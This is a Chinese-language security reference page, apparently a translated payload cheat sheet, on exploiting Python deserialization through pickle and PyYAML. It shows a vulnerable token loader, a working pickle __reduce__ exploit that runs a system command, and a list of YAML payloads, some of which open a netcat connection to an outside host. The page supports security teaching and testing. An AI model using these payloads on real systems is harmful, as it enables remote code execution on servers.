跳转至

Python 反序列化 (Python Deserialization)

Python 反序列化是指从序列化数据中重建 Python 对象的过程,通常使用 JSON、pickle 或 YAML 等格式。pickle 模块是 Python 中常用的工具,因为它可以序列化和反序列化复杂的 Python 对象,包括自定义类。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

在 Python 源代码中,查找以下 Sink(汇聚点):

  • cPickle.loads
  • pickle.loads
  • _pickle.loads
  • jsonpickle.decode

Pickle

以下代码是一个简单的示例,使用 cPickle 生成一个 auth_token,该令牌是一个序列化后的 User 对象。 ⚠ import cPickle 仅适用于 Python 2。

import cPickle
from base64 import b64encode, b64decode

class User:
    def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank     = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)

当从用户输入中加载令牌时,漏洞就会产生。

new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)

Python 2.7 文档明确指出,绝不应将 Pickle 用于不受信任的来源。让我们创建一个恶意的序列化数据,以在服务器上执行任意代码。

pickle 模块对于错误或恶意构造的数据是不安全的。切勿从不受信任或未经身份验证的来源反序列化 (unpickle) 数据。

import cPickle, os
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)

PyYAML

YAML 反序列化是将 YAML 格式的数据转换回 Python、Ruby 或 Java 等编程语言中的对象的过程。YAML (YAML Ain't Markup Language) 在配置文件和数据序列化中非常流行,因为它具有良好的可读性并支持复杂的数据结构。

!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
!!python/object/apply:subprocess.Popen
- ls
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
  state:
    update: !!python/name:exec

自 PyYaml 6.0 版本以来,load 的默认加载器已切换为 SafeLoader,从而缓解了远程代码执行的风险。PR #420 - 修复

现在,易受攻击的 Sink 为 yaml.unsafe_loadyaml.load(input, Loader=yaml.UnsafeLoader)

with open('exploit_unsafeloader.yml') as file:
        data = yaml.load(file,Loader=yaml.UnsafeLoader)

参考资料 (References)